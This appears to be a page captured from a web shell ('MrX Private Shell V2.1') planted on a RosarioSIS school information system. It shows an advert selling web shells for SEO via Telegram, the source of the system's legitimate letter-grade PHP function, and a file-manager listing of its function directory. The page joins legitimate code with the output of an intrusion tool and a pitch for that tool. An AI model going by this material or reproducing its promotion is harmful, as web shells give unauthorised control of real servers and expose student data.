����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Make Letter Grade function
*
* @package RosarioSIS
* @subpackage ProgramFunctions
*/
/**
* Calculate letter grade from percent
* Determine letter grade with breakoff values:
* percent >= breakoff
* Take in account Teacher grade scale if any (DOES_BREAKOFF)
*
* Used in:
* Eligibility/EnterEligibility.php
* Grades/GradebookBreakdown.php
* Grades/Grades.php
* Grades/InputFinalGrades.php
* Grades/ProgressReports.php
* Grades/StudentGrades.php
*
* @since 7.5 Percent rounding to 2 decimal places is new School default.
*
* @example _makeLetterGrade( $percent, $course_period_id, $staff_id )
*
* @uses ProgramUserConfig()
*
* @global array $_ROSARIO Sets $_ROSARIO['_makeLetterGrade']
*
* @param string $percent Percent grade.
* @param integer $course_period_id Course period ID (optional). Defaults to UserCoursePeriod().
* @param integer $staff_id Staff ID (optional). Defaults to User( 'STAFF_ID' ).
* @param string $ret Returned column (optional). Defaults to 'TITLE'.
*
* @return string report card letter grade
*/
function _makeLetterGrade( $percent, $course_period_id = 0, $staff_id = 0, $ret = 'TITLE' )
{
global $_ROSARIO;
$course_period_id = $course_period_id ? $course_period_id : UserCoursePeriod();
if ( ! $staff_id )
{
if ( User( 'PROFILE' ) === 'teacher' )
{
$staff_id = User( 'STAFF_ID' );
}
else
{
$staff_id = DBGetOne( "SELECT TEACHER_ID
FROM course_periods
WHERE COURSE_PERIOD_ID='" . (int) $course_period_id . "'" );
}
}
$gradebook_config = ProgramUserConfig( 'Gradebook', $staff_id );
// Save courses in $_ROSARIO['_makeLetterGrade']['courses'] global var.
if ( ! isset( $_ROSARIO['_makeLetterGrade']['courses'][ $course_period_id ] ) )
{
$_ROSARIO['_makeLetterGrade']['courses'][ $course_period_id ] = DBGet( "SELECT DOES_BREAKOFF,GRADE_SCALE_ID
FROM course_periods
WHERE COURSE_PERIOD_ID='" . (int) $course_period_id . "'" );
}
$does_breakoff = $_ROSARIO['_makeLetterGrade']['courses'][ $course_period_id ][1]['DOES_BREAKOFF'];
$grade_scale_id = $_ROSARIO['_makeLetterGrade']['courses'][ $course_period_id ][1]['GRADE_SCALE_ID'];
$percent *= 100;
// If Teacher Grade Scale.
if ( $does_breakoff === 'Y'
&& ! empty( $gradebook_config['ROUNDING'] ) )
{
if ( $gradebook_config['ROUNDING'] === 'UP' )
{
$percent = ceil( $percent );
}
elseif ( $gradebook_config['ROUNDING'] === 'DOWN' )
{
$percent = floor( $percent );
}
elseif ( $gradebook_config['ROUNDING'] === 'NORMAL' )
{
$percent = round( $percent );
}
}
else
$percent = round( $percent, 2 ); // School default.
if ( $ret === '%' )
{
return $percent;
}
// Save grades in $_ROSARIO['_makeLetterGrade']['grades'] global var.
if ( ! isset( $_ROSARIO['_makeLetterGrade']['grades'][ $grade_scale_id ] ) )
{
$_ROSARIO['_makeLetterGrade']['grades'][ $grade_scale_id ] = DBGet( "SELECT TITLE,ID,BREAK_OFF,COMMENT
FROM report_card_grades
WHERE SYEAR='" . UserSyear() . "'
AND SCHOOL_ID='" . UserSchool() . "'
AND GRADE_SCALE_ID='" . (int) $grade_scale_id . "'
ORDER BY BREAK_OFF IS NOT NULL DESC,BREAK_OFF DESC,SORT_ORDER IS NULL,SORT_ORDER" );
}
// Fix error invalid input syntax for type numeric
// If Teacher Grade Scale.
if ( $does_breakoff === 'Y'
&& $gradebook_config )
{
foreach ( (array) $_ROSARIO['_makeLetterGrade']['grades'][ $grade_scale_id ] as $grade )
{
if ( isset( $gradebook_config[ $course_period_id . '-' . $grade['ID'] ] )
&& is_numeric( $gradebook_config[ $course_period_id . '-' . $grade['ID'] ] )
&& $percent >= $gradebook_config[ $course_period_id . '-' . $grade['ID'] ] )
{
// FJ use Report Card Grades comments.
// return $ret=='ID' ? $grade['ID'] : $grade['TITLE'];
return $grade[ $ret ];
}
}
}
foreach ( (array) $_ROSARIO['_makeLetterGrade']['grades'][ $grade_scale_id ] as $grade )
{
if ( $percent >= $grade['BREAK_OFF'] )
{
// FJ use Report Card Grades comments.
// return $ret=='ID' ? $grade['ID'] : $grade['TITLE'];
return $grade[ $ret ];
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| PHPCompatibility | Folder | 0755 |
|
|
| Charts.fnc.php | File | 6.03 KB | 0644 |
|
| Dashboard.fnc.php | File | 2.79 KB | 0644 |
|
| DashboardModule.fnc.php | File | 6.17 KB | 0644 |
|
| Debug.fnc.php | File | 1.56 KB | 0644 |
|
| Fields.fnc.php | File | 20.17 KB | 0644 |
|
| FileUpload.fnc.php | File | 25.36 KB | 0644 |
|
| FirstLogin.fnc.php | File | 9.19 KB | 0644 |
|
| HackingLog.fnc.php | File | 2.41 KB | 0644 |
|
| Help.fnc.php | File | 5.03 KB | 0644 |
|
| Linkify.fnc.php | File | 1.19 KB | 0644 |
|
| MailingLabel.fnc.php | File | 3.7 KB | 0644 |
|
| MarkDownHTML.fnc.php | File | 6.87 KB | 0644 |
|
| PortalPollsNotes.fnc.php | File | 14.16 KB | 0644 |
|
| README | File | 267 B | 0644 |
|
| SchoolPeriodsSelectInput.fnc.php | File | 3.15 KB | 0644 |
|
| SendEmail.fnc.php | File | 5.05 KB | 0644 |
|
| SendNotification.fnc.php | File | 10.85 KB | 0644 |
|
| StudentsUsersInfo.fnc.php | File | 23.68 KB | 0644 |
|
| Substitutions.fnc.php | File | 7.63 KB | 0644 |
|
| Template.fnc.php | File | 3.21 KB | 0644 |
|
| Theme.fnc.php | File | 1.93 KB | 0644 |
|
| TipMessage.fnc.php | File | 3.7 KB | 0644 |
|
| Update.fnc.php | File | 35.17 KB | 0644 |
|
| UpdateV2_3.fnc.php | File | 16.27 KB | 0644 |
|
| UpdateV4_5.fnc.php | File | 58.61 KB | 0644 |
|
| UpdateV6_8_9.fnc.php | File | 22.19 KB | 0644 |
|
| UserAgent.fnc.php | File | 1.68 KB | 0644 |
|
| _makeLetterGrade.fnc.php | File | 4.03 KB | 0644 |
|
| _makePercentGrade.fnc.php | File | 2.73 KB | 0644 |
|
| miscExport.fnc.php | File | 2.17 KB | 0644 |
|